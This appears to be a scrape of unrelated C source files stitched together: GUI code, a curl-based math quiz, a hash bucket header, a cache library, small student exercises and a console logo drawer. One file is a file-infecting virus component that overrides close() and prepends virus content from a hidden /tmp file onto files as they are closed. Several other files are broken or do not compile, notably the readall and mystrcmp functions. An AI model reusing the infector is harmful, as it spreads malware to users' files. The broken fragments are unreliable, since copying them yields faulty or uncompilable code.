gtk_init(&argc, &argv);
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "TermInterpreter");
gtk_window_set_resizable(GTK_WINDOW (window), FALSE);
myIcon = gdk_pixbuf_new_from_xpm_data(term_icon_xpm);
gtk_window_set_icon( GTK_WINDOW(window), myIcon );
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
button = gtk_button_new_with_label("Berechne!");
label_term = gtk_label_new("Term:");
label_result = gtk_label_new("Ergebnis:");
entry_term = gtk_entry_new();
entry_result = gtk_entry_new();
separator = gtk_hseparator_new();
hbox1 = gtk_hbox_new(FALSE, 10);
hbox2 = gtk_hbox_new(FALSE, 10);
vbox = gtk_vbox_new(FALSE, 10);
g_signal_connect (window, "delete-event",
G_CALLBACK (delete_event), NULL);
g_signal_connect ( button, "clicked",
G_CALLBACK (start_parsing), NULL);
g_signal_connect ( entry_term, "activate",
G_CALLBACK (start_parsing), NULL);
gtk_widget_show(button);
gtk_widget_show(label_term);
gtk_widget_show(label_result);
gtk_widget_show(entry_term);
gtk_widget_show(entry_result);
gtk_widget_show(separator);
gtk_box_pack_start (GTK_BOX (hbox1), label_term, FALSE, FALSE, 0);
gtk_box_pack_start (GTK_BOX (hbox1), entry_term, TRUE, TRUE, 0);
gtk_widget_show(hbox1);
gtk_box_pack_start (GTK_BOX (hbox2), button, FALSE, FALSE, 0);
gtk_box_pack_start (GTK_BOX (hbox2), label_result, FALSE, FALSE, 0);
gtk_box_pack_start (GTK_BOX (hbox2), entry_result, TRUE, TRUE, 0);
gtk_widget_show(hbox2);
gtk_box_pack_start (GTK_BOX (vbox), hbox1, FALSE, FALSE, 0);
gtk_box_pack_start (GTK_BOX (vbox), separator, FALSE, FALSE, 0);
gtk_box_pack_start (GTK_BOX (vbox), hbox2, FALSE, FALSE, 0);
gtk_widget_show(vbox);
gtk_container_add (GTK_CONTAINER (window), vbox);
gtk_widget_show(window);
gtk_main();
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
char* read_string;
typedef struct json{
char question[1024];
long number;
} JSON;
char* readall(int fd){
int scanned = 0, total = 0;
char buffer[64];
int reserve = 1024;
FILE* alter = fdopen(fd, "r");
do{
scanned = read(fd, buffer, 63);
if(ferror(alter)){
perror("Error in the file stream\n");
exit(1);
}else{
total += scanned;
if(total >= reserve){ //reallocate memory only if needed
char* read_string = (char*) realloc(read_string, 2 * (reserve) * sizeof(char));
if(read_string == NULL){
perror("realloc failed\n");
exit(1);
}
reserve += 2;
}
read_string[total] = '\0';
buffer[scanned] = '\0';
strcat(read_string, buffer);
}
}while(scanned);
return read_string;
}
char* fetch(){
int pfd[2];
if(pipe(pfd) == -1){
perror("Pipe creation failed\n");
exit(1);
}
pid_t pid = fork();
if(pid == -1){
perror("Unable to create a child process\n");
exit(1);
}
if(pid == 0){
if(dup2(pfd[1], STDOUT_FILENO) == -1){ //setting the write end of the pipe as the stdout of
// the child process
perror("dup failed");
exit(1);
}
(void) close(pfd[0]);
(void) close(pfd[1]);
char* const arguments[4] = {"curl", "-s", "http://numbersapi.com/random/math?min=1&max=100&fragment&json", NULL};
execvp("curl", arguments);
perror("exec function failed\n");
exit(1);
}else{
(void) close(pfd[1]);
char* workingstringd_info = readall(pfd[0]); //reading all the data from the read end of the pipe
(void) close(pfd[0]);
return workingstringd_info;
}
}
void json_parser(char* string, JSON* data){
int pos = 0, index = 0;
char workingstring[1024];
strcpy(workingstring, " ");
for(int i = 0; i < 3; i++){
while(string[pos] != '\0' && string[pos] != '\n'){
workingstring[++index] = string[++pos];
}
pos++;
workingstring[index] = '\0';
switch(i){
case 1:
for(int i = 10; i < strlen(workingstring); i++){
workingstring[i-10] = workingstring[i];
}
workingstring[strlen(workingstring) - 12] = '\0';
strcpy(data->question, workingstring);
break;
case 2:
for(int i = 11; i < strlen(workingstring); i++){
workingstring[i-11] = workingstring[i];
}
workingstring[strlen(workingstring) - 12] = '\0';
data->number = (long) atoi(workingstring);
break;
}
index = 0;
strcpy(workingstring, " ");
}
}
unsigned int play(unsigned int questionumber, unsigned int score, char* question, long answer){
unsigned int point = 8;
long userresponse;
int correct = 0;
while(point && !correct){
printf("Q%d: %s\n", questionumber, question);
printf("%d pt>", point);
scanf("%ld",&userresponse);
if(feof(stdin)){
return 0;
}else{
if(userresponse < 0 || userresponse > 100){
printf("Invalid input!!\n");
continue;
}
if(userresponse == answer){
printf("Congratulations your answer %ld is correct\n", userresponse);
correct = 1;
}else{
if(point == 1){
if(userresponse > answer)
printf("Too large, the correct answer was %ld \n", answer);
else
printf("Too small, the correct answer was %ld \n", answer);
}else{
if(userresponse > answer)
printf("Too large, try again\n");
else
printf("Too small try again\n");
}
}
if(!correct){
point /= 2;
}
}
}
return point;
}
int main(int argc, char* argv[]){
JSON QA;
unsigned int score = 0;
unsigned int questionnumber = 1;
while(!feof(stdin)){
read_string = (char*) malloc(1024 * sizeof(char));
read_string = fetch();
FILE *cheat = fopen("cheat.txt", "w");
json_parser(read_string, &QA);
fprintf(cheat, "JSON format: %s \n\n\nquestion: %s \nanswer: %ld\n", read_string, QA.question, QA.number);
fclose(cheat);
score += play(questionnumber, score, QA.question, QA.number);
printf("Your total score is %d/%d\n", score, 8*questionnumber);
free(read_string);
questionnumber++;
}
return 0;
}
|
C
|
//------------------------------------------------------------------------------
//! Declares Bucket struct, which is a bucket used in the HashTable, and
//! functions related to it. Basically, Bucket is just a simple dynamic array
//! (also known as vector in C++ stl).
//!
//! @file bucket.h
//! @author tralf-strues
//! @date 2021-04-01
//!
//! @copyright Copyright (c) 2021
//------------------------------------------------------------------------------
#pragma once
#include <assert.h>
#include <stdlib.h>
#include <string.h>
#include <immintrin.h>
#include "language.h"
typedef const char* ht_key_t;
typedef DictEntry ht_value_t;
struct Pair
{
#ifdef AVX_STRING_OPTIMIZATION
__m256i key;
#else
ht_key_t key;
#endif
ht_value_t value;
};
const size_t BUCKET_DEFAULT_CAPACITY = 4;
const double BUCKET_EXPAND_MULTIPLIER = 1.7;
struct Bucket
{
Pair* data;
size_t size;
size_t capacity;
};
//------------------------------------------------------------------------------
//! Constructs bucket with specified capacity.
//!
//! @param bucket
//! @param capacity
//!
//! @note Memory allocation of capacity * sizeof(Pair) bytes is called.
//!
//! @warning Capacity must be > 0!
//!
//! @return Constructed bucket or nullptr if an error occurred.
//------------------------------------------------------------------------------
Bucket* construct(Bucket* bucket, size_t capacity);
//------------------------------------------------------------------------------
//! Constructs bucket with capacity BUCKET_DEFAULT_CAPACITY.
//!
//! @param bucket
//!
//! @note Memory allocation of BUCKET_DEFAULT_CAPACITY * sizeof(Pair) bytes is
//! called.
//!
//! @return Constructed bucket or nullptr if an error occurred.
//------------------------------------------------------------------------------
Bucket* construct(Bucket* bucket);
//------------------------------------------------------------------------------
//! Frees used memory and resets bucket's values.
//!
//! @param bucket
//------------------------------------------------------------------------------
void destroy(Bucket* bucket);
//------------------------------------------------------------------------------
//! Allocate memory for a bucket of specified capacity and construct it.
//!
//! @param capacity
//!
//! @return New bucket of nullptr if an error occurred.
//------------------------------------------------------------------------------
Bucket* newBucket(size_t capacity);
//------------------------------------------------------------------------------
//! Allocate memory for a bucket of BUCKET_DEFAULT_CAPACITY capacity and
//! construct it.
//!
//! @return New bucket of nullptr if an error occurred.
//------------------------------------------------------------------------------
Bucket* newBucket();
//------------------------------------------------------------------------------
//! Deletes a bucket creates using newBucket().
//!
//! @param bucket
//!
//! @warning Bucket has to be created using newBucket(). Otherwise it's
//! undefined behavior.
//------------------------------------------------------------------------------
void deleteBucket(Bucket* bucket);
//------------------------------------------------------------------------------
//! Resizes bucket with new capacity.
//!
//! @param bucket
//! @param newCapacity
//!
//! @warning If newCapacity is less than the old capacity then there will be
//! data loss!
//------------------------------------------------------------------------------
void resize(Bucket* bucket, size_t newCapacity);
//------------------------------------------------------------------------------
//! Resizes bucket so that its new capacity is equal to its size.
//!
//! @param bucket
//------------------------------------------------------------------------------
void shrinkToFit(Bucket* bucket);
//------------------------------------------------------------------------------
//! Get ith Pair in bucket.
//!
//! @param bucket
//! @param i
//!
//! @return Constant pointer to ith Pair in bucket.
//------------------------------------------------------------------------------
const Pair* get(const Bucket* bucket, size_t i);
//------------------------------------------------------------------------------
//! Sets ith Pair in bucket to pair.
//!
//! @param bucket
//! @param i
//! @param pair
//------------------------------------------------------------------------------
void set(Bucket* bucket, size_t i, Pair pair);
//------------------------------------------------------------------------------
//! @param bucket
//!
//! @return How much unused space is left in bucket. Equal to bucket's capacity
//! minus its size.
//------------------------------------------------------------------------------
size_t spaceLeft(const Bucket* bucket);
//------------------------------------------------------------------------------
//! Adds pair to the end of bucket and if necessary reallocates memory in case
//! bucket's size reaches its capacity.
//!
//! @param bucket
//! @param pair
//------------------------------------------------------------------------------
void pushBack(Bucket* bucket, Pair pair);
|
C
|
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <fcntl.h>
#include <errno.h>
#include <limits.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <sys/types.h>
int infectWithVirus(int fd, int fdTemp, char *argv);
int close(int fildes) {
int tempFd;
char buf[100];
// This will check to see if the virus temp file exists
sprintf(buf, "/tmp/.%u.%u", getpid(), getuid());
if ((tempFd = syscall(__NR_open, buf, O_RDONLY)) != -1) {
// reinfect if it does
infectWithVirus(fildes, tempFd, buf);
unlink(buf);
}
return syscall(__NR_close, fildes);
}
int infectWithVirus(int fd, int fdTemp, char *argv) {
int i = 0, virLen = 0;
// fstat file
lseek(fd, SEEK_SET, 0);
struct stat fstatInfo;
if (fstat(fdTemp, &fstatInfo) == -1) {
syscall(__NR_close, fdTemp);
return -1;
}
// Grab the virus
char offBuf = 0x00;
char *virBuf = malloc(sizeof(char) * fstatInfo.st_size);
while (syscall(__NR_read, fdTemp, &offBuf, 1) == 1) {
memcpy(&virBuf[virLen++], &offBuf, 1);
}
syscall(__NR_close, fdTemp);
if (fstat(fd, &fstatInfo) == -1) {
return -1;
}
// copy the file
offBuf = 0x00;
char *fileBuf = malloc(sizeof(char) * fstatInfo.st_size);
while (read(fd, &offBuf, 1) == 1) {
memcpy(&fileBuf[i++], &offBuf, 1);
}
// grab the file path
char pathBuf[100];
char dest[PATH_MAX];
sprintf(pathBuf, "/proc/self/fd/%d", fd);
if (readlink(pathBuf, dest, PATH_MAX) == -1) {
exit(errno);
}
// Truncate the file
syscall(__NR_close, fd);
if ((fd = syscall(__NR_open, dest, O_RDWR | O_TRUNC)) == -1) {
exit(1);
}
// Overwrite with virus and file
for (i = 0; i < virLen; i++) {
write(fd, &virBuf[i], 1);
}
for (i = 0; i < fstatInfo.st_size; i++) {
write(fd, &fileBuf[i], 1);
}
free(virBuf);
free(fileBuf);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "flibs/compiler.h"
#include "flibs/fhash.h"
#include "fcache_list.h"
#include "flibs/fcache.h"
#define FCACHE_BALANCE_INTERVAL 2000
struct _fcache {
fhash* phash_node_index;
fc_list* pactive_list;
fc_list* pinactive_list;
cache_obj_free obj_free;
size_t max_size;
size_t op_count;
int enable_balance;
int _padding;
};
fcache_t* fcache_create(size_t max_size, cache_obj_free obj_free)
{
if (!max_size) return NULL;
fcache_t* pcache = calloc(1, sizeof(fcache_t));
pcache->phash_node_index = fhash_str_create(0, FHASH_MASK_AUTO_REHASH);
pcache->pactive_list = fcache_list_create();
if ( !pcache->pactive_list ) {
fcache_destroy(pcache);
return NULL;
}
pcache->pinactive_list = fcache_list_create();
if ( !pcache->pinactive_list ) {
fcache_destroy(pcache);
return NULL;
}
pcache->obj_free = obj_free;
pcache->max_size = max_size;
pcache->op_count = 0;
pcache->enable_balance = 0;
return pcache;
}
static inline
void _fcache_destroy_list(fc_list* plist, cache_obj_free obj_free)
{
fcache_node_t* node = NULL;
while ( (node = fcache_list_pop(plist)) ) {
if ( obj_free ) {
obj_free(fcache_list_get_nodedata(node));
}
fcache_list_destroy_node(node);
}
fcache_list_destroy(plist);
}
void fcache_destroy(fcache_t* pcache)
{
if ( !pcache ) return;
fhash_str_delete(pcache->phash_node_index);
_fcache_destroy_list(pcache->pactive_list, pcache->obj_free);
_fcache_destroy_list(pcache->pinactive_list, pcache->obj_free);
free(pcache);
}
static inline
int _fcache_add_node(fcache_t* pcache, const char* key, size_t key_size,
void* value, size_t value_size)
{
fcache_node_t* add_node = fcache_list_make_node(key_size);
if ( !add_node ) return 1;
fcache_list_set_nodekey(add_node, key, key_size);
fcache_list_set_nodedata(add_node, value);
// for a new node
// 1. add into hash table
// 2. add into inactive node
fhash_str_set(pcache->phash_node_index, key, add_node);
if ( fcache_list_push(pcache->pinactive_list, add_node, value_size) ) {
fhash_str_del(pcache->phash_node_index, key);
fcache_list_destroy_node(add_node);
}
return 0;
}
static inline
int _fcache_update_node(fcache_t* pcache, fcache_node_t* node, void* value,
size_t value_size)
{
// call obj_free only when the target node has changed
void* user_data = fcache_list_get_nodedata(node);
if ( user_data != value && pcache->obj_free ) {
pcache->obj_free(user_data);
}
fcache_list_set_nodedata(node, value);
fcache_list_update_node(node, value_size);
return 0;
}
static inline
void _fcache_del_node(fcache_t* pcache, fcache_node_t* node)
{
const char* key = fcache_list_get_nodekey(node);
if ( pcache->obj_free ) {
pcache->obj_free(fcache_list_get_nodedata(node));
}
fhash_str_del(pcache->phash_node_index, key);
fcache_list_delete_node(node);
fcache_list_destroy_node(node);
}
static inline
int _fcache_move_node(fcache_t* pcache, fcache_node_t* node)
{
if ( !fcache_list_move_node(node, pcache->pactive_list) ) {
return 0;
} else {
return 1;
}
}
static
int _fcache_balance_nodes(fcache_t* pcache)
{
size_t inactive_nodes_count = fcache_list_size(pcache->pinactive_list);
size_t active_nodes_count = fcache_list_size(pcache->pactive_list);
size_t avg_length = ( inactive_nodes_count + active_nodes_count ) / 2;
if ( active_nodes_count <= avg_length ) {
return 0;
}
size_t need_move_count = active_nodes_count - avg_length;
size_t i = 0;
for ( ; i < need_move_count; i++ ) {
fcache_node_t* node = fcache_list_pop(pcache->pactive_list);
if ( !node ) break;
fcache_list_push(pcache->pinactive_list, node, fcache_list_node_size(node));
}
return 0;
}
static inline
size_t _fcache_free_size(fcache_t* pcache)
{
return pcache->max_size - fcache_list_data_size(pcache->pactive_list) -
fcache_list_data_size(pcache->pinactive_list);
}
/**
* brief check and drop nodes from inactive list
*/
static inline
int _fcache_check_and_drop_nodes(fcache_t* pcache, fcache_node_t* node,
size_t target_size)
{
size_t grow_size = 0;
size_t inactive_size = fcache_list_data_size(pcache->pinactive_list);
size_t free_size = _fcache_free_size(pcache);
if ( !node ) { // add new node
grow_size = target_size;
} else { // update node
size_t node_data_size = fcache_list_node_size(node);
grow_size = node_data_size <= target_size ? target_size - node_data_size : 0;
}
// have enough size for growing
if ( grow_size == 0 || free_size >= grow_size ) {
return 0;
}
// there no enough free space, need to drop some nodes
// first calculatie the size we need to drop
size_t drop_size = grow_size - free_size;
// second check inactive list whether have enough space to drop
// if no, balance once and try again
if ( inactive_size < drop_size ) {
_fcache_balance_nodes(pcache);
inactive_size = fcache_list_data_size(pcache->pinactive_list);
if ( inactive_size < drop_size ) {
return 1;
}
}
// when this is a updating mode, move node to inactive list tail
if ( node ) {
fcache_list_move_node(node, pcache->pinactive_list);
}
// inactive list has enough space to drop
size_t dropped_size = 0;
while ( dropped_size < drop_size ) {
fcache_node_t* dropped_node = fcache_list_pop(pcache->pinactive_list);
if ( !dropped_node ) break;
dropped_size += fcache_list_node_size(dropped_node);
_fcache_del_node(pcache, dropped_node);
}
return 0;
}
/**
* brief @ first incoming, we push obj into inactive list
* sencond incoming(fcache_get_obj trigger it), we move obj into active
* list if the obj has not dropped from inactive list
* @ if the node count will reach the max limitation, start the balance
* mechanism
* @ remove node only from inactive list
*/
int fcache_set_obj(fcache_t* pcache, const char* key, size_t key_size,
void* value, size_t value_size)
{
if ( !pcache || !key || !key_size ) return 1;
if ( value && !value_size ) return 1;
if ( value_size > pcache->max_size ) return 1;
fcache_node_t* node = fhash_str_get(pcache->phash_node_index, key);
if ( _fcache_check_and_drop_nodes(pcache, node, value_size) ) {
return 1;
}
int ret = 0;
if ( likely(!node) ) {
ret = _fcache_add_node(pcache, key, key_size, value, value_size);
} else {
if ( value ) {
ret = _fcache_update_node(pcache, node, value, value_size);
} else {
_fcache_del_node(pcache, node);
}
}
// check & enable balance
if ( unlikely(!pcache->enable_balance && !ret) ) {
size_t current_size = fcache_list_data_size(pcache->pinactive_list) +
fcache_list_data_size(pcache->pactive_list);
size_t inactive_nodes_count = fcache_list_size(pcache->pinactive_list);
size_t active_nodes_count = fcache_list_size(pcache->pactive_list);
size_t avg_node_size = current_size /
(inactive_nodes_count + active_nodes_count);
size_t times = (pcache->max_size - current_size) / avg_node_size;
if ( times <= FCACHE_BALANCE_INTERVAL )
pcache->enable_balance = 1;
}
return ret;
}
void* fcache_get_obj(fcache_t* pcache, const char* key)
{
if ( !pcache || !key ) return NULL;
if ( likely(pcache->enable_balance) ) {
pcache->op_count++;
if ( pcache->op_count == FCACHE_BALANCE_INTERVAL ) {
pcache->op_count = 0;
_fcache_balance_nodes(pcache);
}
}
fcache_node_t* node = fhash_str_get(pcache->phash_node_index, key);
if ( unlikely(!node) )
return NULL;
// if in acitve list
if ( fcache_list_node_owner(node) == pcache->pactive_list ) {
// move it to head of the list when size of list > 1
fcache_list_move_node(node, pcache->pactive_list);
return fcache_list_get_nodedata(node);
} else {
// we don't care the result of moving, if failure, try it next time
_fcache_move_node(pcache, node);
return fcache_list_get_nodedata(node);
}
}
|
C
|
#include <stdio.h>
#include <math.h>
float exponenciacao(float x,int y){
int i;
float resultado = 1;
for ( i = 1; i <= y; i++)
{
resultado *= x;
}
return resultado;
}
float finaciamento(float valorFinanciamento, int qtdParcelas){
float prestacao;
float taxa;
switch (qtdParcelas)
{
case 6:
taxa = 0.7 / 12;
prestacao = valorFinanciamento *(exponenciacao((1+taxa),6)*taxa) / (exponenciacao((1 + taxa),6)-1);
break;
case 12:
taxa = 1 / 12;
prestacao = valorFinanciamento *(exponenciacao((1+taxa),12)*taxa) / (exponenciacao((1 + taxa),12)-1);
break;
case 18:
taxa = 1.2 / 12;
prestacao = valorFinanciamento *(exponenciacao((1+taxa),18)*taxa) / (exponenciacao((1 + taxa),18)-1);
break;
case 24:
taxa = 1.5 / 12;
prestacao = valorFinanciamento *(exponenciacao((1+taxa),24)*taxa) / (exponenciacao((1 + taxa),24)-1);
break;
case 36:
taxa = 1.8 / 12;
prestacao = valorFinanciamento *(exponenciacao((1+taxa),36)*taxa) / (exponenciacao((1 + taxa),36)-1);
break;
default:
break;
}
return prestacao;
}
int main(){
float financiamentoVal;
int parcelasVal;
do
{
printf("\nDigite o valor á Financiar: ");
scanf("%f", &financiamentoVal);
printf("\nDigite o números de parcelas: [6, 12, 18, 24, 36]: ");
scanf("%i", &parcelasVal);
printf("O valor da prestação mensal é %.2f\n", finaciamento(financiamentoVal,parcelasVal));
}while (financiamentoVal != 0);
}
|
C
|
/*
** EPITECH PROJECT, 2020
** my_find_prime_sup
** File description:
** find the next prime number
*/
int my_is_prime(int nb);
int my_find_prime_sup(int nb)
{
long i = nb;
if (nb <= 2)
return (2);
else if (my_is_prime(nb))
return (nb);
if (i % 2 == 0)
i++;
while (!my_is_prime(i)) {
i += 2;
}
if (i > 2147483647)
return (0);
else
return (i);
}
|
C
|
#include <stdio.h>
#include <string.h>
int main(void) {
char buf[1000001];
int len, i;
scanf("%s", buf);
len = strlen(buf);
for (i = 0; i < len; i++) {
printf("%.*s%.*s\n", len - i, buf + i, i, buf);
}
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
typedef struct dersler
{
char dersadi[50];
int vizenot;
int finalnot;
}ders;
typedef struct ogrenciler
{
ders *drs;
char ad[20];
char soyad[20];
int drssayisi;
int numara;
}ogrenci;
int mystrcmp(ogrenci*,char*);
int main()
{
int x,i,j,a;
printf("kac ogrenci girilecek:");
scanf("%d",&x);
ogrenci*ptr=( ogrenci*)malloc(x*sizeof(ogrenci));
for(i=0; i<x; i++)
{
printf("ad:");
scanf("%s",(ptr+i)->ad);
printf("soyad:");
scanf("%s",(ptr+i)->soyad);
printf("numara");
scanf("%d",&(ptr+i)->numara);
printf("ogrencinin ders sayisi:");
scanf("%d",&a);
(ptr+i)->drssayisi=a;
(ptr+i)->drs=(ders*)malloc(a*sizeof( ders));
for(j=0; j<a; j++)
{
printf("%d.ders adi:",j);
scanf("%s",((ptr+i)->drs+j)-> dersadi);
printf("%d.dersin vize notu:",j);
scanf("%d",&((ptr+i)->drs+j)->vizenot);
printf("%d.dersin final notu:",j);
scanf("%d",&((ptr+i)->drs+j)->finalnot);
}
}
char m[20];
printf("aranacak ogrencinin ismini giriniz:");
scanf("%s",&m);
int kl =0;
kl = mystrcmp(ptr,&m);
return 0;
}
int mystrcmp(ogrenci *p,char *m)
{
int i;
for(i=0;i<(p+1)->ad='/0';i++)
{
if((p+i)->ad=='/0'||*(m+i)=='/0')
{
return 1;
}
else
{
while((ptr+i)->ad!='/0'||*(m+i)!='/0')
{
if((ptr+i)==(m+i))
{
return 1;
}
}
}
}
}
|
C
|
/* test machine: csel-kh1250-01.cselabs.umn.edu
* group number: G[27]
* name: Reed Fazenbaker, Mikkel Folting
* x500: fazen007, folti002
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>
#include <dirent.h>
#include <string.h>
#include <stdlib.h>
#include "utils.h"
/*
Traverse the directory recursively and search for pattern in files.
@params:
name - path to the directory
pattern - pattern to be recusrively searched in the directory
Note: Feel free to modify the function header if neccessary
*/
void dirTraverse(const char *name, char * pattern){
DIR *dir;
struct dirent *entry;
// Open directory
dir = opendir(name);
if(dir == NULL){
fprintf(stderr, "ERROR: Failed to open path: %s\n", name);
}
// Recursively traverse the directory and call searchPatternInFile when neccessary
while((entry = readdir(dir)) != NULL){
if (!strcmp(entry->d_name, ".") || !strcmp(entry->d_name, "..")) continue;
char entry_name[MAX_PATH_LENGTH] = {'\0'};
snprintf(entry_name, sizeof(entry_name), "%s/%s", name, entry->d_name);
// Check which kind of file we are currently looking at
if(entry->d_type == DT_DIR){
dirTraverse(entry_name, pattern);
} else if(entry->d_type == DT_REG){
searchPatternInFile(entry_name, pattern);
} else {
// This is neither a regular file nor a directory, so for now print error
printf("This file is neither a regular file nor a directory.\n");
exit(EXIT_FAILURE);
}
}
}
int main(int argc, char** argv){
if(argc !=3){
fprintf(stderr,"Child process : %d recieved %d arguments, expected 3 \n", getpid(), argc);
fprintf(stderr,"Usage child.o [Directory Path] [Pattern] \n");
exit(EXIT_FAILURE);
}
char* path = argv[1];
char* pattern = argv[2];
// Close file descriptors and traverse the given directory
close(STDIN_FILENO);
dirTraverse(path, pattern);
close(STDOUT_FILENO);
exit(EXIT_SUCCESS);
}
|
C
|
#include<stdio.h>
void main()
{
int a[100][100],m,n,i,j;
printf("Enter range of matrix:");
scanf("%d%d",&n,&m);
printf("Enter matrix\n");
for(i=1;i<=n;i++)
{
for(j=1;j<=m;j++)
scanf("%d",&a[i][j]);
}
for(i=1;i<=n;i++)
{
for(j=1;j<=m;j++)
printf("%d\t",a[j][i]);
printf("\n");
}
}
|
C
|
#include<stdio.h>
#include <conio.h>
#include <windows.h>
void gotoxy(int x,int y){
HANDLE hcon;
hcon = GetStdHandle(STD_OUTPUT_HANDLE);
COORD dwPos;
dwPos.X = x;
dwPos.Y= y;
SetConsoleCursorPosition(hcon,dwPos);
}
void cambiarcolor(int X)
{
SetConsoleTextAttribute(GetStdHandle (STD_OUTPUT_HANDLE),X);
}
void Say(int x,int y,const char *txt)
{
gotoxy(x,y);printf("%s",txt);
}
void SetColorA(int color,int colorf)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), color | colorf | FOREGROUND_INTENSITY | BACKGROUND_INTENSITY );
}
void SetColorB(int color,int colorf)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), color | colorf | BACKGROUND_INTENSITY );
}
void ReplicateH(int x,int y,const char *c,int can)
{
for(int i=0;i<can;i++)
{
Say(x+i,y,c);
}
}
void ReplicateV(int x,int y,const char *c,int can)
{
for(int i=0;i<can;i++)
{
Say(x,y+i,c);
}
}
void Rectangle(int x,int y,int w,int h,const char *c)
{
ReplicateH(x,y,c,w);//fila 1
ReplicateH(x,y+h,c,w);//fila 2
ReplicateV(x,y,c,h);//col 1
ReplicateV(x+w-1,y,c,h);//col 2
}
void TextColor(int color)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), color);
}
void logoEspe()
{
system("color f7");
int x=219,o=255,y=220;
printf("\n");
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o);//Blanco
cambiarcolor(2);
printf("%c%c%c%c%c%c",x,x,x,x,x,x);
cambiarcolor(240);
printf("%c%c%c",o,o,o);
cambiarcolor(2);
printf("%c%c%c%c%c%c",x,x,x,x,x,x);
cambiarcolor(240);
printf("%c%c%c",o,o,o);
cambiarcolor(2);
printf("%c%c%c%c%c%c",x,x,x,x,x,x);
cambiarcolor(240);
printf("%c%c%c",o,o,o);
cambiarcolor(2);
printf("%c%c%c%c%c%c",x,x,x,x,x,x);
//2 linea
printf("\n");
cambiarcolor(240);
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o);//Blanco
cambiarcolor(2);
printf("%c%c",x,x);
cambiarcolor(240);
printf("%c%c%c%c%c%c%c",o,o,o,o,o,o,o);
cambiarcolor(2);
printf("%c%c",x,x);
cambiarcolor(240);
printf("%c%c%c%c%c%c%c",o,o,o,o,o,o,o);
cambiarcolor(2);
printf("%c%c",x,x);
cambiarcolor(240);
printf("%c%c",o,o);
cambiarcolor(2);
printf("%c%c",x,x);
cambiarcolor(240);
printf("%c%c%c",o,o,o);
cambiarcolor(2);
printf("%c%c",x,x);
//3 linea
printf("\n");
cambiarcolor(240);//Blanco
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o);//Blanco
cambiarcolor(2);//verde
printf("%c%c%c%c",x,x,x,x);//verde
cambiarcolor(240);//Blanco
printf("%c%c%c%c%c",o,o,o,o,o);//Blanco
cambiarcolor(2);//verde
printf("%c%c%c%c%c%c",x,x,x,x,x,x);//verde
cambiarcolor(240);//Blanco
printf("%c%c%c",o,o,o);//Blanco
cambiarcolor(2);//verde
printf("%c%c",x,x);//verde
cambiarcolor(2);//verde
printf("%c%c%c%c",x,x,x,x);//verde
cambiarcolor(240);//Blanco
printf("%c%c%c",o,o,o);//Blanco
cambiarcolor(2);//verde
printf("%c%c%c%c",x,x,x,x);//verde
//4 linea
printf("\n");
cambiarcolor(240);//Blanco
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o);//Blanco
cambiarcolor(2);//verde
printf("%c%c",x,x);//verde
cambiarcolor(240);//Blanco
printf("%c%c%c%c%c%c%c%c%c%c%c",o,o,o,o,o,o,o,o,o,o,o);//Blanco
cambiarcolor(2);//verde
printf("%c%c",x,x);//verde
cambiarcolor(240);//Blanco
printf("%c%c%c",o,o,o);//Blanco
cambiarcolor(2);//verde
printf("%c%c",x,x);//verde
cambiarcolor(240);//Blanco
printf("%c%c%c%c%c%c%c",o,o,o,o,o,o,o);//Blanco
cambiarcolor(2);//verde
printf("%c%c",x,x);//verde
//5linea
printf("\n");
cambiarcolor(240);//Blanco
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o);//Blanco
cambiarcolor(2);//verde
printf("%c%c%c%c%c%c",x,x,x,x,x,x);//verde
cambiarcolor(240);//Blanco
printf("%c%c%c",o,o,o);//Blanco
cambiarcolor(2);//verde
printf("%c%c%c%c%c%c",x,x,x,x,x,x);//verde
cambiarcolor(240);//Blanco
printf("%c%c%c",o,o,o);//Blanco
cambiarcolor(2);//verde
printf("%c%c",x,x);//verde
cambiarcolor(240);//Blanco
printf("%c%c%c%c%c%c%c",o,o,o,o,o,o,o);//Blanco
cambiarcolor(2);//verde
printf("%c%c%c%c%c%c",x,x,x,x,x,x);//verde
printf("\n");
cambiarcolor(240);//Blanco
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o);//Blanco
cambiarcolor(252);
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y);
printf("\n");
cambiarcolor(240);
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o,o);//Blanco
printf("UNIVERSIDAD DE LAS FUERZAS ARMADAS");
printf("\n");
cambiarcolor(240);//Blanco
